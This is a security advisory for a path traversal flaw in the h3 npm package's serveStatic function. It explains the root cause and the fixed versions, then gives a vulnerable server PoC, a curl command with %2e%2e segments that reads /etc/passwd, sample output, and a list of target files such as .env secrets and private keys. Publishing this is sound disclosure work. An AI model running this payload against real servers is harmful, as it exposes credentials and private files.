GHSA-wr4h-v87w-p3r7 h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read

• npm h3: >= 2.0.0, < 2.0.1-rc.15 → fixed in 2.0.1-rc.15 • npm h3: < 1.15.6 → fixed in 1.15.6

Summary `serveStatic()` in h3 is vulnerable to path traversal via percent-encoded dot segments (`%2e%2e`), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments. Details The vulnerability exists in `src/utils/static.ts` at line 86: ```typescript const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))); ``` On Node.js, h3 uses srvx's `FastURL` class to parse request URLs. Unlike the standard WHATWG `URL` parser, `FastURL` extracts the pathname via raw string slicing for performance — it does not normalize dot segments (`.` / `..`) or resolve percent-encoded equivalents (`%2e`). This means a request to `/%2e%2e/` will have `event.url.pathname` return `/%2e%2e/` verbatim, whereas the standard `URL` parser would normalize it to `/` (resolving `..` upward). The `serveStatic()` function then calls `decodeURI()` on this raw pathname, which decodes `%2e` to `.`, producing `/../`. The resulting path containing `../` traversal sequences is passed directly to the user-provided `getMeta()` and `getContents()` callbacks with no sanitization or traversal validation. When these callbacks perform filesystem operations (the intended and documented usage), the `../` sequences resolve against the filesystem, escaping the static root directory. Before exploit: Vulnerability chain ``` 1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd 2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization) 3. decodeURI(): /../../../etc/passwd (%2e decoded to .) 4. getMeta(id): id = "/../../../etc/passwd" (no traversal check) 5. path.join(root,id): /etc/passwd (.. resolved by OS) 6. Response: contents of /etc/passwd ``` PoC Vulnerable server (`server.ts`) ```typescript import { H3, serveStatic } from "h3"; import { serve } from "h3/node"; import { readFileSync, statSync } from "node:fs"; import { join, resolve } from "node:path"; const STATIC_ROOT = resolve("./public"); const app = new H3(); app.all("/", (event) => serveStatic(event, { getMeta: (id) => { const filePath = join(STATIC_ROOT, id); try { const stat = statSync(filePath); return { size: stat.size, mtime: stat.mtime }; } catch { return undefined; } }, getContents: (id) => { const filePath = join(STATIC_ROOT, id); try { return readFileSync(filePath); } catch { return undefined; } }, }) ); serve({ fetch: app.fetch }); ``` Exploit ```bash Read /etc/passwd (adjust number of %2e%2e segments based on static root depth) curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" ``` Result ``` root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... ``` Proof: Pwned by 0xkakashi Impact An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with `%2e%2e` (percent-encoded `..`) path segments to any endpoint served by `serveStatic()`. This affects any h3 v2.x application using `serveStatic()` running on Node.js (where the `FastURL` fast path is used). Applications running on runtimes that provide a pre-parsed `URL` object (e.g., Cloudflare Workers, Deno) may not be affected, as `FastURL`'s raw string slicing is bypassed. Exploitable files include but are not limited to:** • `/etc/passwd`, `/etc/shadow` (if readable) • Application source code and configuration files • `.env` files containing secrets, API keys, database credentials • Private keys and certificates